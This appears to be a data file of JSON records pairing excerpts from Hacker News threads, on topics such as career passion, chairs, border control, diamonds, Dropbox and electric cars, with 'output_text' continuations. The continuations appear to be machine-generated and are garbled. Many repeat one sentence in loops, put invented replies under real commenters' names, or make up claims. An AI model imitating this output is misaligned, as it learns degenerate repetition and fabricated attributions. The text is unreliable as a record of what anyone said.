what you love.\n\n------\njoshu\nI think the key is to find a way to make money doing what you", "input_text": " afraid of failure? And then telling people to\nreplicate instead of innovating! I do agree the passion thing is oversold but\nnow people are going too much in the opposite direction, especially after Cal\nNewport's book.\n\n------\nhnzix\n...and that is the story of why I quit graphic design to program CRUD webapps\nfor boring enterprise customers.\n\nNow moving towards part-time consulting and setting up some passive income\nstreams to try and create the space to work on my creative projects before I\nget old and die.\n\n------\ngrosjona\nYou have to work for companies where capital accumulates quickly and then find\na way to sandwich yourself between where the capital is and where the capital\nwants to go.\n\nFollow capital and consumers will follow you.\n\n------\nmrlyc\nDo what you love, what you are good at and what people are willing to pay for.\nSometimes you have to do the first one as a hobby and the last two as a job.\n\n------\nillnewsthat\nInteresting take on passion vs. money.\n\nDoes anyone else think \"requires a reasonable commute\" doesn't fit on the list\nof \"keys to career contentment\"?\n\n~~~\nForHackernews\nI think it is! A reasonable (as opposed to unreasonable) commute makes your\nday-to-day life much more pleasant.\n\n~~~\nillnewsthat\nI guess it makes sense thinking of it as reasonable vs. unreasonable.\n\nIt didn't make sense to me at first, because I think working from home could\nadd to quality of life, and it felt as if they were specifically saying you\nNEED to commute. But it probably just means, if you do commute, don't make it\n2 hours each"} +{"output_text": "\nchair with a backrest that is too high. I can sit in it and feel like I'm\nsitting up straight.\n\n~~~\njamespetercook\nI\u2019ve tried a few chairs over the years and I\u2019ve always found them uncomfortable\nand I\u2019ve always felt like I\u2019m slouching.\n\nI\u2019ve also tried a few cross legged chairs and I\u2019ve always found them\nuncomfortable.\n\nI\u2019ve", "input_text": " if they are fit for purpose.\nCar seats for babies can't be passed on because there could be some crack in\nthe polystyrene, yet regular chairs have no standards for safety. It is not a\nbig deal until such time as you see a valued relative come a cropper.\n\nDesign is how it works and chairs are not designed to have a failsafe aspect\nto the design.\n\n~~~\nlightgreen\nRealistically, how many people get injured from collapsed chairs? I think less\nthan from fire or drowned or something.\n\nJust buy not the cheapest chair, and you will be safe.\n\n~~~\nTheodores\nThere is no such thing as an accident. If your chair breaks in a restaurant\nyou can sue them. I bet the restaurant owners never thought of this when\nsetting up. Injuries can also be quite serious, it depends on the circumstance\nand the individual.\n\nYour argument is the same for airbags, seatbelts and wearing hard hats. We\nlive in a Health and Safety world where liability exists. Except for chairs.\n\n------\njamespetercook\nI don\u2019t think I\u2019ve ever found a chair that I felt completely comfortable in. I\nlike to sit upright and feel alert and most chairs seem to be made for\nrelaxing. I\u2019ve always wondered if it\u2019s just me or not, and have often thought\nabout designing a chair but realistically I don\u2019t have the skills :(\n\n~~~\nTACIXAT\nI have this same issue. I've never seen a chair that supports shoulders back\nand down good posture. They all seem to hunch or arch forward. None offer the\nmid back support needed to put your chest forward.\n\nSame situation for sitting cross legged. My solution for posture has been a"} +{"output_text": " I said that you can't become a\nmanager if you disagree with management. That's it.\n\n~~~\nColonelSanders\nI think you're missing my point. I'm not saying that you can't become a\nmanager. I'm saying that you can't become a manager if you disagree with\nmanagement.\n\n~~~\nfogetti\nI think you're missing my point. I said that you can't become a manager if you\ndisagree with management. That", "input_text": " one reason why management exists. To answer your question, while\nthey may be wrong, there's a purpose in shielding decision making away from\nthose who lose sight of the org's goals.\n\nThe point of the union is when management makes decisions, which can be unfair\nand uncaring to the worker, that their rights, safety, and livelihood also are\nrepresented with fairness. The alternative I offered to you was, in an\norganization large enough, they could request to move to a different project.\n\n~~~\nfogetti\nSaying that they can become managers is like saying they can become the\npresident of the U.S. The point is that you cannot become a manager at all if\nyou disagree with management in the first place (and that doesn't mean you\ndon't have the chops). Also the number of management seats are limited. The\nnumber of union seats has no upper limit.\n\n~~~\nColonelSanders\n> Saying that they can become managers is like saying they can become the\n> president of the U.S.\n\nI don't think that analogy is proportional, since that'd make a manager at a\nfurniture store on par with a head of state. But I get it, there isn't\nunlimited management roles. Because if there were, everyone would be on their\nown.\n\nIf you want to influence and shape business decisions - you want to be a\nmanager.\n\nHow do you become one? By showing competence as an employee and joining a\nlower management position. Successes are how they climb the ladder. Yes, they\ndefinitely can innovate, and they can also play it safe.\n\nPeople in upper management also hop between companies and have similar\npositions.\n\n~~~\nfogetti\nI think you don't understand what I said."} +{"output_text": " for 3 hours is not a \"harsh treatment.\"\n\n5) Was the author denied entry to the US? No -- the author was allowed to\nenter the US.\n\n6) Was the author denied entry to the US because of his race, religion,\nnational origin, or other protected class? No -- the author was allowed to\nenter the US.\n\n7) Was the author denied entry to the US because of his political beliefs? No\n-- the author was", "input_text": " it, but I can tell you that the experience of\nentering the US as a US citizen is only marginally better.\n\nLeaving/entering the US is something I avoid at all costs. Sad but true.\n\n------\nnottrobin\nThanks so much for sharing this.\n\nI think treatment of immigrants by border controls is shocking, and the\nbiggest problem is how little attention / voice the problem gets.\n\nPlease continue to write about your experiences.\n\n------\nrjzzleep\nwelcome to how germany treats their own citizen\n\n~~~\nsourishkrout\nBS\n\n------\nmadaxe\nI have a simple solution for not dealing with US immigration's bullshit. Too\nmany trips marred by days spent in featureless rooms waiting for Godot, a\nfull-time employee of your border agency.\n\nAnyway - simple solution - don't go to America. Don't work with Americans.\n\nEurope and Asia are big markets.\n\n------\ntmktmk\nThis is the biggest non-problem ever:\n\n1) Did the author get in? Yes\n\n2) Did customs do their job and scrutinize the person's paperwork? Yes\n\n3) Was the person held for an inordinately long time? No -- 3 hours is not a\n\"long time.\" If you can't deal with the fact that you just flew (potentially)\nhalfway across the world in an airplane\n\n4) Was the author unduly molested or given harsh treatment, perhaps by being\ndenied food, water, medication, or otherwise harassed? No -- the author points\nout that there was a water fountain and snack machines, and the author was not\nstrip searched, nor was he otherwise harassed/degraded. Sitting in a waiting\nroom"} +{"output_text": " and the library is understaffed.\n\nI'm not sure what the solution is, but I'm not sure it's to make the library\nmore accessible to the public.\n\n~~~\njessaustin\n_I'm not sure what the solution is, but I'm not sure it's to make the library\nmore accessible to the public._\n\nI think it's to make the library more accessible to the public.\n\n~~~\njessaustin\nI", "input_text": "iling a history on, and in terms of early Spanish records of island\nSoutheast Asian (eg. Philippines) multihull vessels like the _vinta_.\n\nI am forced to go through airport-like security, have my face recorded on an\nAxis IP-based CCTV camera, sent to a room with three enormous desks each with\nan official library bureaucrat. I explain my case, and am rapidly informed\nthat should I wish to view anything at all _before 1950_ then I must apply for\na research card. Sure! What does that require? Photo ID - passport, check.\nProof of address - what? Bank statement accepted, download one, OK, check.\nProof you are from an inexplicit list of recognized national, educational or\ncultural institutions. I'm an admin for Wikipedia, writing articles\nspecifically on traditional multihull vessels that have hundreds of thousands\nof pageviews and have been front page featured, but that didn't seem to count.\nThey wouldn't let me in. The 'librarian' (who I feel deserves no such title)\nactually went so far as to attempt to 'explain' to me - \"You see, it's like a\n_club_. The universities, the libraries,...\".\n\nThat very same night, I had dinner after visiting a diplomat in their home.\nSome friends of theirs were also present, one of whom a reigning library\nscience academic of repute within that field in Madrid and Spain. I explained\nthe horrible experience I had attempting to dedicate some of my minimal time\nin the city to using their national library. In return, it was explained that\nthe difficulty of using the place is a direct response to the theft of a\nnumber of extremely rare texts some years ago, over which people lost their\njobs. The problem is frequent,"} +{"output_text": "\nyou change the value of the animal.\n\nI think the answer to that is \"yes\".\n\n~~~\nearbitscom\nI don't think I'm being arrogant. I'm just saying that we're talking about\nother beings with emotions and desires.\n\n~~~\nunimpressive\nI think you're being arrogant.\n\n------\njimmaswell\nI'm not sure I understand the point of this article. It seems to be saying\nthat we", "input_text": "iets drained the Aral Sea in a\nlarge irrigation project. [0] This of course resulted in the destruction of\nthe surrounding ecosystem, and is now apparently leading to health problems\nfor the people who live there locally. Was that worth it?\n\n[0]:\n[https://en.wikipedia.org/wiki/Great_Plan_for_the_Transformat...](https://en.wikipedia.org/wiki/Great_Plan_for_the_Transformation_of_Nature)\n\ntl;dr: Currently the only way to satisfy our demand for meat is to slaughter\nmillions of animals. Because of market pressures, these animals end up dying\npainfully, or even living painfully. This is not an morally optimal situation\nand I feel that certain aspects could be improved, with potentially disastrous\nconsequences for the species involved.\n\n~~~\nearbitscom\n\"Semi-sentient\"? \"Smart trade\"?\n\nThis attitude toward animals is just sad. We're talking about other beings\nwith emotions and desires. I wish scientists could GMO humans into not being\nso arrogant toward other species. That's a genetic experiment I could get\nbehind.\n\n~~~\nunimpressive\nI use the former term to clarify that I don't ascribe human levels of\nconsciousness to animals, do you?\n\nAs for the latter, since you brought it up:\n\nThe thing about stuff like \"How many Zebras are worth a headache.\" is that if\nyou think about it enough, you end up at questions like \"How many zebras are\nworth a human?\" and then \"Are all human lives equal?\". When trying to answer\nsuch questions things get fuzzy and icky and hard to answer satisfactorily.\nThen theres versions of those questions where you ask if the answer changes if"} +{"output_text": " the community to do it for them.\n\n~~~\nbluepirate\nI'm not sure what you're referring to. Purism laptops are based on the same\nhardware as the Librem 13.\n\n~~~\nmorganvachon\nI'm referring to the fact that they claimed to have fixed the issue, then\nrepeatedly lied about it, and then finally admitted that they had not fixed\nthe issue.\n\n~~~\nbluepirate\nI'm", "input_text": " open-source desktop is quite vulnerable (consider\nhow many things need to go wrong for\n[https://scarybeastsecurity.blogspot.nl/2016/12/redux-\ncomprom...](https://scarybeastsecurity.blogspot.nl/2016/12/redux-compromising-\nlinux-using-snes.html)), and a lot of OpenBSD's hardening is in the (simpler)\nbase system, not in GNOME / KDE / Firefox / Chrome /...\n\nAlternatively, consider not running a full-blown desktop or using Windows,\nwhich has grown a _lot_ more secure since the Windows XP pre-SP2 days.\n\n~~~\nrebuilder\nWow, your recommendation for desktop security is either not running a full-\nblown desktop or running Windows? As in, Windows beats the popular Linux\ndistros in desktop security?\n\n------\njlgaddis\nDamn, I was really hoping this was an (early) announcement for 4.0 (or at\nleast an -rc3).\n\n~~~\n0x17A\nSame here. I'm waiting for 4.0.\n\n------\nknown\nI use\n[https://en.wikipedia.org/wiki/Lightweight_Portable_Security](https://en.wikipedia.org/wiki/Lightweight_Portable_Security)\n\n------\npartycoder\nQubesOS won't protect you from Intel ME though.\n\n~~~\nbluepirate\nPurism laptops do.\n\n~~~\nmorganvachon\nI wouldn't trust that company at all, they lied and misrepresented themselves\nfor nearly three years before finally claiming to make good on what they sold\ntheir customers. Beyond that, they didn't fix it themselves as they say, they\nrelied on"} +{"output_text": " a long time?\n\n~~~\ngiblfiz\nYes, but the process is very expensive and the pearls are not very good.\n\n------\njghn\nI'm not sure I understand the point of this article.\n\nThe article is about a company that is selling synthetic diamonds.\n\nThe article is not about the price of diamonds.\n\nThe article is not about the price of synthetic diamonds.\n\nThe article is not about the price of synthetic", "input_text": "At some point in the near future, maybe 1 year, maybe 10, anyone with a spare\ncouple million dollars will be able to buy a machine to grow diamonds\nindistinguishable from mined diamonds, defects and all. No one will be able to\ntell at all, and the market will be flooded. Prices for mined & manufactured\nalike will crater.\n\nThere is no future for mined diamonds.\n\n~~~\njghn\nat some point 15-20 years or so ago De Beers started laser etching logos on\nthe diamonds for exactly this reason.\n\n~~~\nRcouF1uZ4gsC\nWasn't the public reason for laser etching to prevent conflict diamonds from\nhaving a market?\n\n------\ngrondilu\nThe largest diamond in the world still is natural, isn't it? Will it ever be\nsynthetic and if so when?\n\n~~~\nundersuit\n>The largest diamond in the world still is natural, isn't it?\n\nIt's most definitely a natural diamond, and it's also most definitely\nundiscovered in some incredibly rich diamond deposit.\n\n------\ncowardlydragon\nOnly 30% cheaper?\n\nI once heard a dollar a caret from one of the startups a decade ago...\n\n~~~\ngiblfiz\nWithout actually knowing anything about the subject my guess is that the very\ncheep synthetic diamonds you heard about were / are intended for tools, (Where\nall that they care about is the hardness, so they can be small, yellow, and\nmessy)\n\nAlso, I do know that you can get synthetic ruby for ~$1/carat on ali-baba. (I\nactually bought a few)\n\n------\nepx\nAren't pearls cultured for"} +{"output_text": "I\u2019m not sure why this is getting downvoted. It\u2019s a good argument for why the\ntax should be collected.\n\n~~~\ngnicholas\nI\u2019m curious if anyone can explain why this is getting downvoted. It\u2019s a good\nargument for why the tax should be collected.\n\n~~~\ngnicholas\nI\u2019m curious if anyone can explain why this is getting downvoted. It\u2019s a good\nargument for why", "input_text": "um/the-attorney-who-convinced-the-supreme-court-to-allow-internet-sales-taxes-just-admitted-that-hes-a7ef9ce8ae35\n======\nedbaskerville\nI see this as a great argument for his side, actually. State governments need\nto be able to enforce taxation at the time of the transaction, because it's\ngoing to be impossible to collect otherwise. Without an effective collection\nand enforcement mechanism, of course individuals won't go out of their way to\nmake extra payments! Even the tax lawyer arguing the case isn't going out of\nhis way to pay!\n\nThe question of whether states should be able to charge this tax in the first\nplace is another conversation. But if you accept that levying these taxes is\nthe right choice for society, there needs to be a viable collection mechanism.\n\n~~~\ngnicholas\nYeah good point, though probably one could make this point by showing\nstatistics about how much tax is due versus paid. I\u2019m sure the numbers are\nstark.\n\n------\nchrisbennet\nWhile the implementation of the tax may be poor (expecting everyone selling\nsomething on the internet to know the tax for 1000\u2019s of addresses) it\ncertainly seems fair that the tax should be paid.\n\nAs a compromise, if the only the state tax was due, that would be something.\n\n~~~\ngnicholas\nThat does seem like a much fairer compromise. In the law at issue, a business\ncould be required to charge and remit taxes if they had just 200 transactions\nwith residents in the state. If this means compliance with dozens or hundreds\nof county laws, that could be burdensome.\n\n------\ngnicholas\n"} +{"output_text": "\nessentially 'dumb' devices.\n\nThe only thing that is 'smart' about them is the ability to connect to the\ninternet.\n\nThe only thing that is 'smart' about the internet is the ability to connect to\nother devices.\n\nThe only thing that is 'smart' about the internet is the ability to connect to\nother devices.\n\nThe only thing that is 'smart' about the internet is the ability to connect to\nother devices", "input_text": " excited, though, that the centralized cloud will\nlikely be replaced in my lifetime.\n\n[1] [http://tiamat.tsotech.com/pao](http://tiamat.tsotech.com/pao)\n\n~~~\nbraveo\nstrangely enough, I've been expecting that as well, but reading your blog\npost, I differ on how it will be realized.\n\nI think it's more likely people will instead carry identities that describe\nthe applications they have access to, and be able to load those on devices for\ntheir identity only, down to the point of being able to walk up to a new PC,\nattaching the identity, and then having access to the apps on that new PC.\n\nIt'll be a 90% solution that's forced to deal with DRM and safe enough remote\nexecution, but it'll also allow you to access your documents from anywhere\nwith a connection.\n\nI know you specifically disagree with the idea of synchronization, but that's\nmore feasible than what you're suggesting imo. synchronizing a document is\ngoing to be as simple as saving it into the cloud and fetching a delta at the\nendpoints.\n\nThis will necessarily not work for certain types of applications, no one is\nprobably going to try and do actual CAD work on the go, although they may view\nit. But for most things it'll work well enough.\n\n~~~\nryandamm\nOnshape.com - check it out. WebGL is good enough for some CAD users.\n\n~~~\nbraveo\nThe issue isn't just one of performance, but form factor and input mechanisms.\n\n------\nedblarney\nI really don't buy it.\n\nIn every case he described current devices (cars, watches) - they are"} +{"output_text": " a great format for animations\nand I think it would be a great way to share your work.\n\n~~~\nseanmcdirmid\nI'm not sure how well it would work with SVG, but I'm sure it would be\npossible.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nseanmcdirmid\nIt's a demo of a physics engine in the browser.\n\n~~~\n", "input_text": "'m still having trouble understanding where the complexities arise. I\nhave no difficulty believing that they _do_ arise, but I would like to\nunderstand how it happens if you're willing to take the time to explain.\n\nI would think that rigid bodies -- either perfectly rigid or semi-rigid via\nsprings & struts -- would not handle all that differently in verlet since\nforce is explicit (typo on your part?) and a v/p estimate is available from\nthe last position, albeit with a bit more phase lag than usual. Does the phase\nlag induce nasty oscillations or something?\n\n~~~\nseanmcdirmid\nWe can make semi-rigid bodies in verlet using strings are shape matching\ntechniques, but the pressure needed to maintain shape necessarily interferes\nwith stacking or any other kind of stable contact. Actually, their was a\nsolution to this in a shape matching paper by Matthias [1] but I was never\nable to get it to work right.\n\nI've played around a lot with Verlet, it is very powerful in certain\ncases...especially since you can just update the position of a mass directly\n(very easy to program, very mouse/touch input friendly). However, a rigid body\nphysics engine is probably better for most game use cases.\n\n[1] \n\n~~~\njjoonathan\nCool, thanks for the link!\n\n------\narocks\nThe spider has been extremely well done. Spent a lot of time playing with it.\n\n------\ndrorweiss\nAwesome! Thanks for sharing. It's amazing what you can do inside the browser\nthese days.\n\nAny thoughts of integrating it with SVG? SVG is"} +{"output_text": " with complexity.\n\n~~~\nVBprogrammer\nI'm not talking about the test. I'm talking about the code under test.\n\n------\nmatt_wulfeck\n> _The tests are broken but I\u2019m positive the software is correct so I\u2019m going\n> to fix the tests_\n\nThis is a common problem. I've seen it in a lot of places.\n\n~~~\nmatt_wulfeck\nI'm not", "input_text": " the US nuclear arsenal which are\ndecades old and aging.\n\n~~~\nquotemstr\nWhich is why the nuclear test ban is, IMHO, a bad idea. A nuclear deterrent\nmust be credible to be effective. If an adversary comes to believe that, say,\n80% of our warheads are duds and most of theirs work, the logic of retaliation\nmay come to favor a first strike.\n\n~~~\nmmhsieh\nThe logic behind test bans (in conjunction with numerical caps on warheads) is\nto create uncertainty in the reliability of one's own arsenal to discourage\neither side from contemplating a first-strike.\n\n~~~\nquotemstr\nI'm not sure about that. What if you're convinced that _your_ brilliant\nscientists have created working warheads while you think the enemy's dolts\nhaven't been able to keep their arsenal working? What if your enemy thinks the\nsame thing in reverse? I think there's always a temptation to overestimate\none's own capability and underestimate the sophistication of others.\n\n------\n3fe9a03ccd14ca5\n> _Two completely different devices, each responsible for checking the other,\n> deviated identically for vastly different reasons._\n\nHappens frequently. \u201cThe tests are broken but I\u2019m positive the software is\ncorrect so I\u2019m going to fix the tests\u201d\n\n~~~\nVBprogrammer\nThat's one reason I hate complexity in tests. Your tests have to be dumb\nenough that you are 99% sure the code under test is at fault.\n\n~~~\nWrtCdEvrydy\nBy definition, tests have to be more complex than the underlying code. The\ntest have to setup the conditions, execute the action and validate it. Don't\nconfuse complexity"} +{"output_text": ", etc. But the system itself was\npretty good.\n\n~~~\ndragonwriter\n> Sure, there were problems. Abuses of power, etc. But the system itself was\n> pretty good.\n\nThe system was pretty good _for the capitalist class_ , which was the\ndominant class in the developed world at the time.\n\nThe system was pretty good _for the working class_ , which was the dominant\nclass in the developed world at the time", "input_text": " and not just due to (non-social) technical\nadvances.\n\nOf course, the US has adopted, in many areas and healthcare particularly, less\nelements of socialism than other advanced mixed economies. So maybe there's a\nreason US healthcare sucks so hard, and its not insufficient devotion to\ncapitalism.\n\n~~~\nduncan_bayne\n\"So maybe there's a reason US healthcare sucks so hard, and its not\ninsufficient devotion to capitalism.\"\n\nThe list of problems that the previous poster provided were almost all (\n_especially_ cronyism and cartels) characteristics of systems _other_ than\ncapitalism.\n\nIs it possible we're using different definitions of capitalism, here? I think\nyou might mean crony-capitalism, a.k.a. fascism.\n\n~~~\ndragonwriter\nI mean the real economic system that was dominant in the developed world from\nthe late 19th to early 20th Century, which certain of its socialist critics\ncreated the word \"capitalism\" to refer to, since criticising it without a name\nwas problematic, and it was an economic system by which property arrangements,\npolicy, etc., were organized around the interests of the capitalist class.\n\nCronyism and cartels were certainly not infrequent features of that system.\n\nFascism is something different and newer.\n\n~~~\nduncan_bayne\n... which was also the system that produced _this_ :\n\n[http://crfblog.org/wp-\ncontent/uploads/2010/03/2007112238img1...](http://crfblog.org/wp-\ncontent/uploads/2010/03/2007112238img1.gif)\n\nSure, there were problems. Abuses of power"} +{"output_text": " don't take it all.\n\n(4) If you are not sure what to do, ask for advice from people who are\n__different __. For example, if you are not sure what to do, ask a friend who\nis a programmer. If you are not sure what to do, ask a friend who is a\ntherapist. If you are not sure what to do, ask a friend who is a poet. If you\nare not sure what to do,", "input_text": "\nThat's also what I did. Studying philosophy also helped alot :-)\n\n> but I can't continue doing this if I want to get the A-levels I need to\n> enter a half-decent university.\n\nI found my high school to be very oppressive, so instead I went on academic\nstrike and programmed for fun. I almost flunked out of high school, and only\ngot into one university that has a tradition of accepting everyone.\n\nIt was all for the best. I'm not saying __you __should do that. But, it was\nthe path I needed to take. You can live a wonderful life regardless of what\nacademic success you achieve or fail to achieve.\n\nOlder people have a bad habit of advising younger people they need to do very\nspecific actions in order to achieve very specific goals.\n\nIn this ancient tradition, I will now offer you very specific advice ;-)\n\n(1) Ask yourself: do you desire the goals you are told to desire. What are\n__your __goals? What do __you __actually want from life?\n\n(2) Once you have your goals in mind, your advisors will usually be\n__conservative __. That is, their advice usually describes __one path __to\nyour goal --- not the only path. For example, if you want to go to a half-\ndecent university and an advisor tells you, \"you should try to get straight\nA's\" \\--- then your advisor is being conservative. Yes, if you get straight\nA's it will be easier to get into a half-decent university. But it's not the\nonly way. Furthermore, younger people are often more creative in finding ways\nto sidestep tradition.\n\n(3) Ask for lots of advice, but"} +{"output_text": "\nthere is a huge amount of money lost with the people who make them.\n\n~~~\njamesaguilar\nI think you're right. I think the industry is in a weird place where the\npeople who make the games are the ones who are most likely to be laid off.\n\n~~~\ntibbon\nI think that's true. I think the industry is in a weird place where the people\nwho make the games are the ones who are most likely to be", "input_text": " that if they mess something up they will\nhave a lot of bad publicity.\n\n~~~\njon-wood\nIn Google's defense their support for people who are paying money for a\nservice tends to be better - both AdWords and Google Apps have had pretty\nsolid support teams when I've needed them.\n\n------\nelevensies\nI think [http://liketoknow.it](http://liketoknow.it) is pretty smart and is\nsitting at roughly the right level of coupling to the underlying platforms.\nWhen you like the photo on instagram, it emails you about the product, which\nwas set up by the user that posted the photo. Easy and non-invasive.\n\n------\nbitcuration\nThe problem is not shopping cart flow, the problem is small retailer needs an\nalternative than Amazon or eBay to low their selling cost. Google Facebook\nhave the brand name and can help with the name brand, only they also have\naffiliation program besides buy button. The buy button alone doesn't change a\ndamn thing.\n\n \nIrrational Games (Bioshock Infinite) is shutting down - piratebroadcast\nhttp://irrationalgames.com/\n======\ntibbon\nMaybe its just me, but there is something _deeply_ flawed with the game\nindustry's hiring/firing practices.\n\nIf a game does well, its time to lay off half (or more) of the team. Same\nresult happens if a game does poorly of course. But it seems the only way to\n'win' is to be at the top, or simply not play.\n\nI've seen this now with everything from Harmonix to Irrational Games. There\nseems to be a huge amount of money made with these blockbuster games, but"} +{"output_text": " a bit\noverwhelming)\n\n~~~\nj_baker\nI think the marketing copy is a bit over the top. I'm not sure why they felt\nthe need to go into such detail about the features of the product.\n\n------\nj_baker\nI'm not sure I understand the point of this. It seems like it's just a\nrehash/rehash of the features of MongoDB 3.0.\n\n~~~\nj_b", "input_text": " we finish putting it\nthrough its paces. Stay tuned for our latest release candidate, we would love\nit if you would try it out and give us feedback.\" So... no 3.0 final yet.\nThat's disappointing. However - I'm really excited about 3.0. Initial tests\nshow way better performance than 2.6. Plus data takes just 1/4th of disk\nspace. That's amazing. I hope this is just beginning and each next release\nwill add more and more features based on what WT can deliver.\n\n------\ncheald\nI'm actually fairly interested in the WiredTiger integration. I switched from\nMongoDB to TokuMX about a year ago because of disk space and atomicity\nconcerns, and Toku's been really good to me. Mongo 3.0 promises to catch up in\nmany respects; if it does, then it might actually solve the vast majority of\nthe complaints that people have historically had with it.\n\nThe marketing copy still pretends that TokuMX doesn't exist, though - it's had\nthese features and more (including transactions) for quite some time now.\n\n------\ntankerdude\nThe announcement, to me, was way over the top. There was so much noise in the\nannouncement with very little in terms of signal. It reads almost like\nvaporware, even though it probably was not.\n\nJust give us facts, plain and simple. What it improves and how it improves it.\nWhen there are that many adjectives about the project, it just causes me to\ntune out a bit.\n\nWas this supposed to be part of a sales deck or something? (An as aside, I use\nmongo and know its pluses and minuses so reading all that hoopla is"} +{"output_text": "I'm not sure if this is a good thing or not. I think it's great that they are\ngrowing so fast, but I'm not sure if it's a good thing for the company.\n\nI think it's great that they are growing so fast, but I'm not sure if it's a\ngood thing for the company.\n\n~~~\njrockway\nI think it's great that they are growing so fast, but I'm not sure if it's a", "input_text": " the promising start.\n\n~~~\n6ren\n> Benioff predicts sales could hit $100 million this year. (The company\n> declined to comment.)\n\nUnfortunately, a prediction; and also by someone not privy to actual\nfigures...\n\n> Dropbox reportedly experiences well over 10 times year-over-year growth...\n\nSounds pretty good!\n\n>...and positive cash flow.\n\nThe mildest expression of profitability possible. Though I'm pretty sure\nthey're doing way better than >0.\n\nFrom scanning many acquisitions, my feeling is of the order of $200 million.\nThough I'm basing that mainly on business acquisition (e.g. by Oracle), so I\nmight be very off for consumer acquisitions (considering youtube, facebook,\ntwitter etc).\n\n~~~\nwlievens\nWith their kind of scalability, any positive cash flow is awesome news.\n\n------\nspatten\nWhen we were trying to figure out if Dropbox would be a good sync tool for\nLeanpub, Peter went in to a local coffee shop and asked a bunch of people if\nthey'd ever heard of Dropbox. All of the baristas and everyone else in their\n20s had, and had accounts. About half of the people 30 or older had heard of\nit, and most of them had accounts.\n\nWe were pretty impressed with the numbers, and we ended up going with Dropbox,\nand we've never regretted it.\n\n------\ntechnomancy\n> The hottest startup you've never heard of\n\nI wish this were true; unfortunately I hear lots and lots about them when they\nrun a \"spam your friends for more free space\" promotional.\n\n~~~\njrockway\nGet better friends.\n\n------\njustinxreese\n"} +{"output_text": "odo\nI'm proud of my work on the first version of the web browser that I worked on\nat the age of 15.\n\nI was a student at the time and I was the only one who was able to code the\nbrowser. I was also the only one who was able to code the web server.\n\nI was also the only one who was able to code the web server.\n\nI was also the only one who was able to code the web server.", "input_text": " organizations as well as by the nation's\nsecurity leaders that make it easier for the N.S.A. to dominate American\nsociety should it ever decide such action is necessary.\"\n\n \nAsk HN: What accomplishment are you most proud of? - empressplay\nThis could be developing a piece of software, creating a website or webapp, writing a book, founding a company, obtaining a credential, or whatever else you're most proud of.

Tell us about it! Inquiring minds want to know... =)\n======\nsteven2012\nMy parents came from a third world country extremely poor. They struggled to\nensure that my siblings and I received a good education along with good\nvalues. My own family is now in the top 1% of earners in the US, so our family\ntree went from poor to well-off in one generation.\n\nWhen my parents come to visit us, I know how proud they are and I'm proud that\nI didn't squander the opportunity that they worked so hard to give us.\n\nI'm not sure what my kids will do but I intend to instill the same values of\neducation, working harder than anyone else, and having good values into them.\n\n~~~\nnicksellen\nCongratulations for your hard work and achievements :)\n\nI presume you know other people with your background that haven't managed to\nachieve this, do you have any insight into what the differences are?\n\nInnate abilities? specific values? good luck? - I can imagine the general\ndifferences, but the specifics are really interesting to me.\n\n~~~\nsteven2012\nEmphasis on education, but a lot of very hard work. Intelligence will get you\nsome of the way, but hard work is everything.\n\n------\natthe"} +{"output_text": "\nmakes a lot of sense.\n\n------\nmatt_wulfeck\n> _The Taycan is a car that\u2019s designed to be driven, not to be reviewed._\n\nI don't think that's true. It's a car that's designed to be driven, but it's\nalso designed to be reviewed.\n\n~~~\nmatt_wulfeck\nI'm not sure why this is getting downvoted. I'm not saying the", "input_text": " how to program it.\n\n \nHey, Tesla Fans: Drive the Porsche Taycan Before You Criticize It - clouddrover\nhttps://www.thedrive.com/opinion/31091/hey-tesla-fans-drive-the-porsche-taycan-before-you-criticize-it\n======\nfastbeef\nJust venting, but holy hell are cars the stupidest \u201chobby\u201d I can imagine.\n\n~~~\nLeftHandPath\nAre they though?\n\nThe more I\u2019ve read about human psychology - particularly about \u201cflow\u201d - the\nmore valuable manually driven cars seem.\n\nSimilarly to how many people are actually happiest / have the highest sense of\nself-worth while at work (even though they\u2019d scream otherwise), a lot of\npeople are able to relax and think freely while driving. And in general,\nhumans seem to enjoy having control over G-force (whether jumping off of\ncliffs, flying planes, riding roller coasters, driving...)\n\nFlow:\n[https://en.m.wikipedia.org/wiki/Flow_(psychology)](https://en.m.wikipedia.org/wiki/Flow_\\(psychology\\))\n\nInteresting take on automotive tech and psychology from Nicholas Carr\u2019s \u201cGlass\nCage\u201d, reviewed by NY Times:\n[https://www.nytimes.com/2014/11/09/books/review/the-glass-\nca...](https://www.nytimes.com/2014/11/09/books/review/the-glass-cage-by-\nnicholas-carr.html)\n\n~~~\nfastbeef\nI never thought of it this way. Thank you for providing some perspective, it"} +{"output_text": ".\n\n~~~\nmikeash\nI'm not sure what you're saying. The article says that the cells repair\nthemselves. That's true.\n\n~~~\nUdo\nI'm saying that the article is making statements that are provably wrong.\n\n~~~\nmikeash\nI'm not sure what you're saying. The article says that the cells repair\nthemselves. That's true.\n\n~~~\nUdo\nI'm saying that the article", "input_text": " this one too is highly\nsensationalistic and potentially misleading.\n\nI am genuinely sorry to be so snarky, but I am _really_ tired of scientific-\nsounding arguments (like the \"Why I am not worried about Japan\u2019s nuclear\nreactors\" article) being automatically credited on this site.\n\n _\"While interfering with the cell death signal saves you from immediate\ndeath, it does nothing to repair damaged porteins and DNA.\"_\n\nDid you bother to read the second page?\n\n\"Also, a bigger mystery is figuring out how, by blocking this pathway, cells\nare able to fix the damaged DNA within. Dr. Isenberg says they know that\nfollowing radiation exposure, the DNA is scrambled, but somehow, with this\ntreatment, the cells are able to get themselves right.\"\n\n\"'It's not that we're blocking radiation from hitting the tissue,' he says.\n'Somehow...they repair themselves, and go about their business.'\"\n\n~~~\nUdo\nThe article flat-out lies about achieving radiation immunity. Claims like\nthese are extremely representative examples of misleading sensationalism.\nThere is simply no room for discussion about the central point: the article is\nmaking statements that are provably wrong. After that come the smaller claims\nthey make, several of which sound highly dubious to me, especially your\nfavorite one here:\n\n> _\"'It's not that we're blocking radiation from hitting the tissue,' he says.\n> 'Somehow...they repair themselves, and go about their business.'\"_\n\nI strongly suspect there is no data to support this statement. We have known\nabout small-scale repairs for a few years now, but this statement goes far\nbeyond that. With the radiation doses involved, this phenomenon would require\nthe reconstruction of information that is quite simply lost"} +{"output_text": "obe Edge Preview._\n\n~~~\nicode\nI know, but it's still so pre internet.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n", "input_text": "ap as much money as\nthey were making from Flash, but without the overhead of maintaining the\nruntime.\n\n~~~\nsjs\nIt'll be interesting to see how this compares to Sencha. What else is there?\n\n~~~\njawher\nGenuine question: What does Sencha (a JS UI lib) have to do with 